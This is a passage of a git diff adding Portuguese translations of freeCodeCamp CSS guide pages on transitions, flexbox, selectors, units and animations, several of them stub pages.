+`ease` - especifica um efeito de transição com início lento, depois rápido e termina lentamente (este é o padrão) `linear` - especifica um efeito de transição com a mesma velocidade do início ao fim `ease-in` - especifica um efeito de transição com início lento `ease-out` - especifica um efeito de transição com um final lento `ease-in-out` - especifica um efeito de transição com início e fim lentos `cubic-bezier(n,n,n,n)` - permite que você defina seus próprios valores em uma função cúbica-bezier
+
+#### Mais Informações:
+
+*   Documentação [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/transition) : [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/transition)
+*   Referência de [Easings](http://easings.net/en) : [Easings](http://easings.net/en)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/a-complete-guide-to-flexbox/index.md b/client/src/guide/portuguese/css/tutorials/a-complete-guide-to-flexbox/index.md
new file mode 100644
index 0000000000..19fc37bf57
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/a-complete-guide-to-flexbox/index.md
@@ -0,0 +1,11 @@
+---
+title: A Complete Guide to Flexbox
+localeTitle: Um guia completo para o Flexbox
+---
+## Um guia completo para o Flexbox
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/a-complete-guide-to-flexbox/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/a-guide-to-class-and-id-selectors/index.md b/client/src/guide/portuguese/css/tutorials/a-guide-to-class-and-id-selectors/index.md
new file mode 100644
index 0000000000..14263fdd01
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/a-guide-to-class-and-id-selectors/index.md
@@ -0,0 +1,105 @@
+---
+title: A Guide to Class and Id Selectors
+localeTitle: Um Guia para Seletores de Classe e Id
+---
+## Um Guia para Seletores de Classe e Id
+
+Este é um artigo baseado em seletores CSS. O CSS é usado para estilizar elementos HTML e a página da Web em geral. Para CSS para estilizar um elemento na página, ele precisa selecionar esse elemento primeiro.
+
+Como você precisa selecionar um arquivo no seu computador antes de excluí-lo. Você precisa dizer à sua máquina exatamente qual arquivo deseja modificar ou excluir. Da mesma forma, você precisa dizer ao CSS qual elemento deve ser direcionado ao aplicar diferentes estilos e cores nele.
+
+Embora CSS possa selecionar elementos muito bem, você pode instruí-lo para selecionar elementos muito específicos. No final deste artigo, você sairá com o conhecimento para selecionar e estilizar elementos específicos.
+
+### O que é classe e ID?
+
+Digamos que você tenha 5 elementos de parágrafo no seu código HTML.
+
+```html
+
+<p> First paragraph </p> 
+ <p> Second paragraph </p> 
+ <p> Third paragraph </p> 
+ <p> Fourth paragraph </p> 
+ <p> Fifth paragraph </p> 
+```
+
+Você pode dar a cada um deles uma cor de fonte vermelha usando CSS.
+
+```css
+p { 
+    color: red; 
+ } 
+```
+
+Isso é bem fácil! Mas e se você quiser apenas dar ao segundo parágrafo uma cor de fonte? Isso é um pouco difícil agora. Como não temos como identificar cada elemento de parágrafo individualmente, não podemos selecioná-los separadamente.
+
+_Classe e ID para o resgate_
+
+Classe e ID agem como cartões de identidade para elementos HTML. Ambos ajudam a separar um elemento do outro, mas são ligeiramente diferentes.
+
+* * *
+
+Vamos dizer que você conhece um cara de algum clube. Quando você pede essa pessoa para o cartão de identidade do seu clube, ela mostra um com o nome do clube. Agora todos os membros do mesmo clube terão o mesmo cartão de identidade, certo?
+
+Se houver 3 clubes - A, B e C. Então todos os membros do clube A terão os mesmos cartões de identidade. Todos os membros do clube B também terão os mesmos, embora sejam diferentes dos cartões de identidade do clube A e do clube C. É assim que você sabe quem é de qual clube.
+
+É assim que funciona a `class` . Você pode dar um monte de elementos a uma classe e eles estarão em um único clube. Assim como uma nova regra no clube deve ser seguida por todos os sócios do clube, da mesma forma, todas as novas regras de estilo são aplicadas aos elementos do mesmo clube.
+
+```html
+
+<p class="bike"> Hayabusa </p> 
+ <p class="car"> Chevrolet </p> 
+ <p class="bike"> Hayley-Davidson </p> 
+ <p class="car"> Lamborghini </p> 
+```
+
+Aqui nós temos 4 parágrafos. Se você olhar os nomes das classes, existem 2 "clubes". Agora podemos selecionar o clube (ou grupo) que queremos e aplicar os estilos que queremos neles.
+
+```css
+.bike { 
+    color: blue; 
+ } 
+```
+
+Você pode selecionar um grupo em vez de um elemento específico, prefixando o nome do grupo com um período `.` e aplique os estilos desejados ao grupo. Neste exemplo, a cor da fonte do azul é aplicada somente aos parágrafos que têm a classe da `bike` .
+
+* * *
+
+Se você entendeu o que é `class` , a ID será fácil de entender.
+
+Do nosso exemplo anterior, um cartão de identidade do clube representa o clube e todos os membros o possuem. No entanto, se você pedir sua prova de identidade individual, uma pessoa mostrará um cartão de identidade diferente que só eles têm. Todo mundo tem um diferente e pode ser usado para identificá-los individualmente.
+
+Isto é o que é o ID. Assim como os cartões de identidade pessoais, apenas um elemento HTML pode ter um `id` específico. Não há dois elementos com o mesmo `id` .
+
+```html
+
+<p id="car"> Ferrari </p> 
+ <p id="car"> Ford </p> 
+ <!-- This is incorrect--> 
+ 
+ <p id="harley"> Harley-Davidson </p> 
+ <p id="hayabusa"> Hayabusa </p> 
+ <!--This is correct since an id is only used once.--> 
+```
+
+Um `id` também pode ser semelhante a uma chave privada para o seu armário no clube. Todos no clube têm o mesmo cartão de identidade do clube, mas a chave do armário de todos é diferente e única.
+
+Semelhante ao exemplo de `class` , você pode selecionar um elemento específico e aplicar estilos a ele, prefixando o nome do id com `#` .
+
+```css
+#hayabusa { 
+    font-style: bold; 
+ } 
+```
+
+* * *
+
+É fácil lembrar - use `.` antes do nome da _classe_ e um `#` antes do nome do _id_ .
+
+Ambos têm seus próprios usos.
+
+> class é usada quando estilos devem ser aplicados em vários elementos e id é usado quando estilos devem ser aplicados em um elemento em particular.
+
+Tenha isso em mente quando você usa class e id para selecionar e estilizar elementos específicos.
+
+Com isso, você adicionou mais ferramentas à sua caixa de ferramentas para estilizar elementos em uma página da Web.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/centering-in-css-a-complete-guide/index.md b/client/src/guide/portuguese/css/tutorials/centering-in-css-a-complete-guide/index.md
new file mode 100644
index 0000000000..e2a3848b82
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/centering-in-css-a-complete-guide/index.md
@@ -0,0 +1,11 @@
+---
+title: Centering in CSS a Complete Guide
+localeTitle: Centrando em CSS um Guia Completo
+---
+## Centrando em CSS um Guia Completo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/centering-in-css-a-complete-guide/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/css-flexbox-tips-and-tricks/index.md b/client/src/guide/portuguese/css/tutorials/css-flexbox-tips-and-tricks/index.md
new file mode 100644
index 0000000000..67770cd2a5
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/css-flexbox-tips-and-tricks/index.md
@@ -0,0 +1,130 @@
+---
+title: CSS Flexbox Tips and Tricks
+localeTitle: Dicas e truques do Flexbox CSS
+---
+# Flexbox CSS
+
+[O CSS Flexbox](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes) nos permite formatar facilmente nosso HTML como você nunca imaginou ser possível. Com o flexbox, é possível alinhar vertical e horizontalmente com facilidade. Como o som disso? Sim eu também.
+
+Também é fantástico para o layout geral do seu site ou aplicativo, é fácil de aprender, é bem suportado (em todos os navegadores modernos) e é ótimo para trabalhar, sem mencionar que não demora muito para se familiarizar com tudo !
+
+## Flexbox
+
+Aqui está uma lista das propriedades do flexbox que podem ser usadas para posicionar elementos em css:
+
+### CSS que pode ser aplicado ao contêiner
+```
+display: flexbox | inline-flex; 
+ flex-direction: row | row-reverse | column | column-reverse; 
+ flex-wrap: nowrap | wrap | wrap-reverse; 
+ flex-flow: <'flex-direction'> || <'flex-wrap'> 
+ justify-content: flex-start | flex-end | center | space-between | space-around; 
+ align-items: flex-start | flex-end | center | baseline | stretch; 
+ align-content: flex-start | flex-end | center | space-between | space-around | stretch; 
+```
+
+### CSS que pode ser aplicado a itens / elementos no contêiner
+```
+order: <integer>; 
+ flex-grow: <number>; /* default 0 */ 
+ flex-shrink: <number>; /* default 1 */ 
+ flex-basis: <length> | auto; /* default auto */ 
+ flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ] 
+ align-self: auto | flex-start | flex-end | center | baseline | stretch; 
+```
+
+Então, agora você tem o seu kit de ferramentas, mas você pergunta "O que eu faço com minhas ferramentas, como usá-las?", Bem, deixe-me mostrar a você.
+
+### Mostrar Flex
+
+`display: flex;` é só para dizer ao seu navegador, ei, eu gostaria de usar o flexbox com este container, por favor. Isso inicializará esta caixa como um contêiner flexível e aplicará algumas propriedades flexíveis padrão.
+
+É assim que se parece com o container sem `display: flex;`
+
+![Playground CSS sem propriedades flexíveis](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8f20f30d24cba9a7f56bf950a3f23d37d356ca51.png)
+
+Depois de adicionar a `display: flex;` nós obtemos o abaixo, as propriedades flexíveis padrão são aplicadas fazendo com que ele apareça como tal
+
+![Estilo padrão de exibição do playground de CSS](//discourse-user-assets.s3.amazonaws.com/original/2X/6/66404664f9177ae748be00f769faf67d5956034d.png)
+
+### Direção Flex
+
+`flex-direction:` nos permite controlar como os itens no container são exibidos, você os quer da esquerda para a direita, da direita para a esquerda, de cima para baixo ou de baixo para cima? você pode fazer tudo isso facilmente com a configuração da direção flexível do contêiner.
+
+O Flexbox aplica linha como padrão para a direção. Aqui está o que todos eles se parecem:
+
+`flex-direction: row;`
+
+![flex-direction: linha; exemplo](//discourse-user-assets.s3.amazonaws.com/original/2X/9/951cc993820547efa28e70dca905f5531a4488d5.png)
+
+`flex-direction: row-reverse;`
+
+![flex-direction: exemplo de reversão de linha](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cf738aaf83f29eccdb461e91b775b10e41b92389.png)
+
+`flex-direction: column;`
+
+![flex-direction: exemplo de coluna](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7ef77565bc07ee86fd3033a531dd76b49709cf7e.png)
+
+`flex-direction: column-reverse;`
+
+![flex-direction: exemplo de reversão de colunas](//discourse-user-assets.s3.amazonaws.com/original/2X/e/ec9a1ec064bf0027fa61016ca620df14d9bd47a9.png)
+
+### Flex Wrap
+
+Flexbox por padrão tentará encaixar todos os elementos em uma linha, mas você pode mudar isso com a propriedade flex-wrap, isso permite que você defina se os elementos vão se espalhar ou não, existem 3 propriedades para `flex-wrap:`
+
+`flex-wrap: nowrap` este é o padrão e vai procurar encaixar tudo em uma linha da esquerda para a direita.
+
+`flex-wrap: wrap` isso permitirá que itens continuem criando várias linhas e da esquerda para a direita.
+
+`flex-wrap: wrap-reverse` permite que os itens estejam em várias linhas, mas exibindo da direita para a esquerda neste momento.
+
+### Fluxo Flex
+
+Fluxo flexível combina o uso de `flex-wrap` e `flex-direction` em uma propriedade, é usado primeiro definindo a direção e depois o wrap.
+
+`flex-flow: column wrap;` é um exemplo de como usar isso.
+
+### Justifique o conteúdo
+
+`justify-content` é uma propriedade para alinhar itens no contêiner ao longo do eixo principal (isso muda dependendo de como o conteúdo é exibido). Existem várias opções para isso e nos permite preencher qualquer espaço vazio em linhas, mas definindo como queremos "justificá-lo".
+
+Aqui estão nossas opções quando justificamos nosso conteúdo `flex-start | flex-end | center | space-between | space-around;` .
+
+### Alinhar itens
+
+Alinhar itens nos permite alinhar itens ao longo do eixo cruzado. Isso permite que o conteúdo seja posicionado de muitas maneiras diferentes usando justificar o conteúdo e alinhar os itens juntos.
+
+`align-items: flex-start | flex-end | center | baseline | stretch;`
+
+### Alinhar Conteúdo
+
+Isso é para alinhar itens com várias linhas, é para alinhar no eixo cruzado e não terá efeito sobre o conteúdo que é uma linha.
+
+`align-content: flex-start | flex-end | center | space-between | space-around | stretch;`
+
+## Jogos e Apps
+
+[O Flexbox Defense](http://www.flexboxdefense.com/) é um jogo da web que ensina o flexbox da maneira divertida.
+
+[O Flexbox Froggy](http://flexboxfroggy.com/) também é um jogo da web que ensina o flexbox da maneira divertida.
+
+[O Flexbox em 5](http://flexboxin5.com/) é um aplicativo da web que permite que você veja como o flexbox funciona com alguns controles simples.
+
+[Flexyboxes](http://the-echoplex.net/flexyboxes/) é um aplicativo que permite que você veja amostras de código e altere parâmetros para ver como o flexbox funciona visualmente.
+
+[Flexbox Patters](http://www.flexboxpatterns.com) é um site que mostra vários exemplos de flexbox
+
+## Documentação
+
+[Rede de desenvolvedores da Mozilla](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes)
+
+[Truques CSS](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
+
+## Vídeos
+
+[Flexbox Essentials](https://www.youtube.com/watch?v=G7EIAgfkhmg)
+
+[Exemplos Práticos de Flexbox](https://www.youtube.com/watch?v=H1lREysgdgc)
+
+[O que o Flexbox ?!](https://www.youtube.com/watch?v=Vj7NZ6FiQvo&list=PLu8EoSxDXHP7xj_y6NIAhy0wuCd4uVdid)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/css-selectors-cheat-sheet/index.md b/client/src/guide/portuguese/css/tutorials/css-selectors-cheat-sheet/index.md
new file mode 100644
index 0000000000..1e3efddaa9
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/css-selectors-cheat-sheet/index.md
@@ -0,0 +1,62 @@
+---
+title: CSS Selectors Cheat Sheet
+localeTitle: CSS Cheats Sheet de Seletores
+---
+# Seletores de CSS
+
+Em CSS, os seletores são padrões usados ​​para selecionar elementos DOM.
+
+Aqui está um exemplo de uso de seletores. No código a seguir, `a` e `h1` são seletores:
+
+```css
+a { 
+  color: black; 
+ } 
+ 
+ h1 { 
+  font-size 24px; 
+ } 
+```
+
+## Cheat list de seletores
+
+| Seletor | Seleciona |  
+| --- | --- | | `head` | seleciona o elemento com a tag `head` |  
+| `.red` | seleciona todos os elementos com a classe 'red' |  
+| `#nav` | seleciona os elementos com o ID 'nav' |  
+| `div.row` | seleciona todos os elementos com a tag `div` e a classe 'row' | | `[aria-hidden="true"]` | seleciona todos os elementos com o atributo `aria-hidden` com um valor "true" | | `*` | Seletor de caractere curinga. Seleciona todos os elementos DOM. Veja abaixo para usá-lo com outros seletores |
+
+Podemos combinar seletores de maneiras interessantes. Alguns exemplos:
+
+| Seletores | Seleciona |  
+| --- | --- | | `li a` | Combinador descendente de DOM. Todos `a` tags que são uma criança de `li` etiquetas |  
+| `div.row *` | seleciona todos os elementos que são descendentes (ou filho) dos elementos com tag `div` e classe 'row' |  
+| `li > a` | Combinador de diferença. Selecione descendentes diretos, em vez de todos os descendentes, como os seletores descendentes |  
+| `li + a` | O combinador adjacente. Seleciona o elemento que é imediatamente precedido pelo elemento anterior. Neste caso, apenas o primeiro `a` depois de cada `li` . |  
+| `li, a` | Seleciona todos `a` elementos e todas as `li` elementos. |  
+| `li ~ a` | O combinador irmão. Seleciona `a` elemento após um elemento `li` . |
+
+Pseudo-seletores ou pseudo classes estruturais também são úteis para selecionar elementos estruturais do DOM. Aqui estão alguns deles:
+
+| Seletores | Seleciona | | --- | --- |  
+| `:first-child` | Direcione o primeiro elemento imediatamente para dentro (ou filho de) outro elemento |  
+| `:last-child` | Direcione o último elemento imediatamente para dentro (ou filho de) outro elemento |  
+| `:nth-child()` | Direcione o enésimo elemento imediatamente para dentro (ou filho de) outro elemento. Admite inteiros, `even` , `odd` ou fórmulas |  
+| `a:not(.name)` | Seleciona todos `a` elementos que não são do `.name` classe |  
+| `::after` | Permite inserir conteúdo em uma página de CSS, em vez de HTML. Enquanto o resultado final não está realmente no DOM, aparece na página como se fosse. Este conteúdo é carregado depois dos elementos HTML. |  
+| `::before` | Permite inserir conteúdo em uma página de CSS, em vez de HTML. Enquanto o resultado final não está realmente no DOM, aparece na página como se fosse. Este conteúdo é carregado antes dos elementos HTML. |
+
+Podemos usar pseudo-classes para definir um estado especial de um elemento do DOM, mas não apontar para um elemento por si só. Alguns exemplos:
+
+| Pseudoclasse | Seleciona | | --- | --- | | `:hover` | seleciona um elemento que está sendo pairado por um ponteiro de mouse |  
+| `:focus` | seleciona um elemento que recebe foco do teclado ou programaticamente | | `:active` | seleciona um elemento que está sendo clicado por um ponteiro de mouse |  
+| `:link` | seleciona todos os links que ainda não foram clicados |  
+| `:visited` | seleciona um link que já foi clicado |
+
+## Jogos
+
+[CSS Diner](http://flukeout.github.io) é um jogo online que ensina quase tudo o que há para saber sobre a combinação de seletores.
+
+## Referência adicional
+
+Existem muitos outros seletores CSS! Aprenda sobre eles em [CodeTuts](http://code.tutsplus.com/tutorials/the-30-css-selectors-you-must-memorize--net-16048) , [CSS-tricks.com](https://css-tricks.com/almanac/selectors/) , [w3schools.com](http://www.w3schools.com/cssref/css_selectors.asp) ou na [Mozilla Developer Network](https://developer.mozilla.org/en/docs/Web/Guide/CSS/Getting_started/Selectors) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md b/client/src/guide/portuguese/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md
new file mode 100644
index 0000000000..ad19b5aa7e
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Absolute Center an Image Both Vertical and Horizontal
+localeTitle: Como Absolute Center uma Imagem Vertical e Horizontal
+---
+## Como Absolute Center uma Imagem Vertical e Horizontal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/how-to-add-stroke-to-web-text/index.md b/client/src/guide/portuguese/css/tutorials/how-to-add-stroke-to-web-text/index.md
new file mode 100644
index 0000000000..0a82b0f36a
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/how-to-add-stroke-to-web-text/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Add Stroke to Web Text
+localeTitle: Como adicionar traçado ao texto da Web
+---
+## Como adicionar traçado ao texto da Web
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/how-to-add-stroke-to-web-text/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/index.md b/client/src/guide/portuguese/css/tutorials/index.md
new file mode 100644
index 0000000000..21b4475ef8
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/index.md
@@ -0,0 +1,11 @@
+---
+title: Tutorials
+localeTitle: Tutoriais
+---
+## Tutoriais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/introduction-to-css/index.md b/client/src/guide/portuguese/css/tutorials/introduction-to-css/index.md
new file mode 100644
index 0000000000..f7348dd494
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/introduction-to-css/index.md
@@ -0,0 +1,55 @@
+---
+title: Introduction to CSS
+localeTitle: Introdução ao CSS
+---
+## Introdução ao CSS
+
+### O que é CSS?
+
+Cascading Style Sheets (CSS) descrevem como o html em uma página deve aparecer.
+
+Antes que os desenvolvedores CSS aplicassem estilos usando atributos ou tags especiais em cada nó de uma página. Isso tornou a marcação repetitiva e propensa a erros.
+
+O CSS permite que os seletores descrevam como cada parte do conteúdo correspondente deve aparecer.
+
+```CSS
+body { 
+    font-size: 15px; 
+ } 
+ 
+ a { 
+    color: rebeccapurple; 
+    text-decoration: underline; 
+ } 
+```
+
+### Usando CSS
+
+**Folhas de estilo externas** permitem que muitas páginas compartilhem os mesmos estilos.
+
+```HTML
+<link href="styles.css" rel="stylesheet" type="text/css"> 
+```
+
+**Folhas de estilo internas** aplicam CSS a todas as tags correspondentes em uma página.
+
+```HTML
+<style> 
+    h1 { 
+        font-family: sans-serif; 
+        margin-bottom: 1.5em; 
+    } 
+ </style> 
+```
+
+**CSS inline** aplica estilos a uma única tag.
+
+```HTML
+<img src="..." style="border: 1px solid red;" /> 
+```
+
+#### Mais Informações:
+
+*   [W3Schools](https://www.w3schools.com/css/css_intro.asp)
+*   [Almanaque CSS-Tricks](https://css-tricks.com/almanac/)
+*   [Sitepoint](https://www.sitepoint.com/html-css/?ref_source=github)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/perfect-full-page-background-image/index.md b/client/src/guide/portuguese/css/tutorials/perfect-full-page-background-image/index.md
new file mode 100644
index 0000000000..5e22e92a57
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/perfect-full-page-background-image/index.md
@@ -0,0 +1,11 @@
+---
+title: Perfect Full Page Background Image
+localeTitle: Imagem de fundo perfeita página inteira
+---
+## Imagem de fundo perfeita página inteira
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/perfect-full-page-background-image/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/scaling-background-images/index.md b/client/src/guide/portuguese/css/tutorials/scaling-background-images/index.md
new file mode 100644
index 0000000000..4450a879eb
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/scaling-background-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Scaling Background Images
+localeTitle: Escala de imagens de fundo
+---
+## Escala de imagens de fundo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/scaling-background-images/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/tutorials/transparent-background-images/index.md b/client/src/guide/portuguese/css/tutorials/transparent-background-images/index.md
new file mode 100644
index 0000000000..33c2bba4ef
--- /dev/null
+++ b/client/src/guide/portuguese/css/tutorials/transparent-background-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Transparent Background Images
+localeTitle: Imagens de fundo transparentes
+---
+## Imagens de fundo transparentes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/transparent-background-images/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/units/index.md b/client/src/guide/portuguese/css/units/index.md
new file mode 100644
index 0000000000..e380a206c0
--- /dev/null
+++ b/client/src/guide/portuguese/css/units/index.md
@@ -0,0 +1,81 @@
+---
+title: Units
+localeTitle: Unidades
+---
+## Unidades
+
+Muitas propriedades CSS, como `width` , `margin` , `padding` , `font-size` etc., têm comprimento. O CSS tem uma maneira de expressar o tamanho em várias unidades. O comprimento é uma combinação de um número e uma unidade sem espaço em branco. Por exemplo, `5px` , `0.9em` etc.
+
+### comprimento
+
+#### Unidades de Comprimento Comum
+
+Existem várias unidades usadas pelo CSS para expressar o comprimento. Os mais antigos, suportados por todos os navegadores, são:
+
+*   **rem** - "r" significa "root": "root em" -, que é igual ao tamanho da fonte fixado ao elemento raiz (quase sempre `<html>` ).
+*   **vh** e **vw** - Muitas técnicas de design da Web responsivas dependem muito de regras de porcentagem. No entanto, as medidas de porcentagem de CSS nem sempre são a melhor solução para todos os problemas. A medida **vh** é igual a 1/100 da altura da viewport. Assim, por exemplo, se a altura do navegador for 800px, 1vh é igual a 8px e, de forma semelhante, se a largura da viewport for 650px, 1vw será equivalente a 6.5px.
+*   **vmin** e **vmax** - Essas unidades estão relacionadas ao valor máximo ou mínimo de **vh** e **vw** . Por exemplo, se o navegador fosse definido como 1200px de largura e a altura 600px, 1vmin seria 6px e 1vmax seria 12px. No entanto, se a largura foi definida para 700px e a altura definida para 1080px, vmin será igual a 7px e vmax 10.8px.
+*   **ex** e **ch** - Essas unidades, semelhantes a **em** e **rem** , dependem da fonte atual e do tamanho da fonte. No entanto, ao contrário de **em** e **rem** , essas unidades também dependem de `font-family` , pois são determinadas com base em medidas específicas para cada fonte. A unidade **ch** ("unidade de caracteres") é definida como a largura do caractere zero ("0"). A **ex-** unidade é definida como "a altura-x atual da fonte atual ou a metade de 1em". A altura-x de uma determinada fonte é a altura do "x" minúsculo dessa fonte. Geralmente é a marca do meio da fonte.
+
+| Unidade | Descrição | | --------------- | ----------------------- | | em | 1 em é o valor computado do tamanho da fonte no elemento em que é usado. | | ex | 1 ex é a altura x da fonte atual. A altura x é geralmente (mas nem sempre, por exemplo, se não houver 'x' na fonte) igual à altura de um 'x' minúsculo | | ch | 1 ch é o avanço do glifo '0' (zero) na fonte atual. 'ch' significa caráter. | | rem | 1 rem é o valor calculado da propriedade font-size para o elemento raiz do documento. | vw | 1vw é 1% da largura da viewport. 'vw' significa 'largura da janela de visualização'. | | vh | 1vh é 1% da altura da viewport. 'vh' significa 'altura da janela de visualização'. | | vmin | Igual ao menor de 'vw' ou 'vh' | | vmax | Igual ao maior de 'vw' ou 'vh' |
+
+Existem dois tipos gerais de unidades usadas para comprimento e tamanho em CSS: relativo e absoluto.
+
+### Unidades Relativas
+
+As unidades relativas mudam em relação ao tamanho atual da fonte do elemento ou a outras configurações. Algumas unidades relativas são
+
+*   `em`
+*   a largura de uma letra maiúscula M do `font-size` da `font-size` do elemento atual.
+*   Tamanhos de fonte são herdados dos elementos pai.
+*   Exemplo: `html div { font-size: 16px; } div h3 { font-size: 2rem; }` Aqui, o `<h3>` será igual a `32px` já que o `font-size` da `font-size` do elemento pai ou atual é `16px` .
+*   `rem`
+*   raiz `em` , ou a largura de uma letra maiúscula M da base padrão `font-size` .
+*   Tamanhos de fonte pai não terão efeito.
+*   Exemplo: `html body { font-size: 16px; } p { font-size: 1.5rem; }` Aqui, o `<p>` será igual a `24px` já que o `font-size` padrão da `font-size` básica é `16px` .
+*   `%`
+*   o tamanho percentual relativo ao tamanho de um pai.
+*   Exemplo: `html div { width: 400px; } div p { width: 75%; }` Como a largura do pai é `400px` , a largura do pargraph interno seria `300px` , ou 75% de `400px` .
+*   `vw`
+*   largura de visualização ou 1/100 da largura da janela de visualização
+*   Exemplo: `html body { width: 100vw; }` O `body` preenche a largura da viewport, seja 417 px, 690 px ou qualquer largura.
+*   `vh`
+*   altura da visualização ou 1/100 da altura da janela de visualização
+*   Exemplo: `html div { height: 50vh; }` Este `div` preencherá metade da altura da viewport, seja 1080px, 1300px ou qualquer altura.
+
+### Unidades Absolutas
+
+Unidades absolutas serão as mesmas, independentemente do tamanho da tela ou outras configurações. Algumas unidades absolutas são
+
+*   `px`
+*   pixel
+*   as contagens de pixels são relativas à qualidade da tela do dispositivo de visualização
+*   `in` , `cm` , `mm`
+*   polegada, centímetro, milímetro
+*   Uma polegada é uma polegada em uma tela pequena ou uma tela grande
+*   `pt` , `pc`
+*   pontos (1/72 de polegada) e picas (12 pontos)
+
+Exemplo
+
+```html
+
+p { 
+  font-size: 24px; 
+ } 
+ div { 
+  width: 3in; 
+  border-width: 3pt; 
+ } 
+```
+
+Um parágrafo com `font-size: 24px` será exibido como 24px em uma tela de telefone, tablet ou desktop.
+
+A `div` aparecerá como 3 polegadas de largura e a `border` na `div` será 3/72 de uma polegada de espessura, independentemente do tamanho da tela.
+
+### Mais Informações:
+
+*   [WebPlatforms Noções básicas sobre pixels e outras unidades CSS](https://webplatform.github.io/docs/tutorials/understanding-css-units/)
+*   [Docs Web do MDN - Unidades CSS](https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Values_and_units)
+*   [Tutoriais de Web Design]('https://webdesign.tutsplus.com/articles/7-css-units-you-might-not-know-about--cms-22573)
+*   [Ajuda em HTML em Unidades CSS](http://www.htmlhelp.com/reference/css/units.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/using-css-animations/index.md b/client/src/guide/portuguese/css/using-css-animations/index.md
new file mode 100644
index 0000000000..cbdd8a27d5
--- /dev/null
+++ b/client/src/guide/portuguese/css/using-css-animations/index.md
@@ -0,0 +1,70 @@
+---
+title: Using CSS Animations
+localeTitle: Usando animações CSS
+---
+## Usando animações CSS
+
+As animações CSS adicionam beleza às páginas da web. As animações CSS fazem transições de um estilo CSS para outro bonito.
+
+Para criar uma seqüência de animação CSS, temos diferentes subpropriedades na propriedade de `animation` em CSS:
+
+*   `animation-delay`
+*   `animation-direction`
+*   `animation-duration`
+*   `animation-iteration-count`
+*   `animation-name`
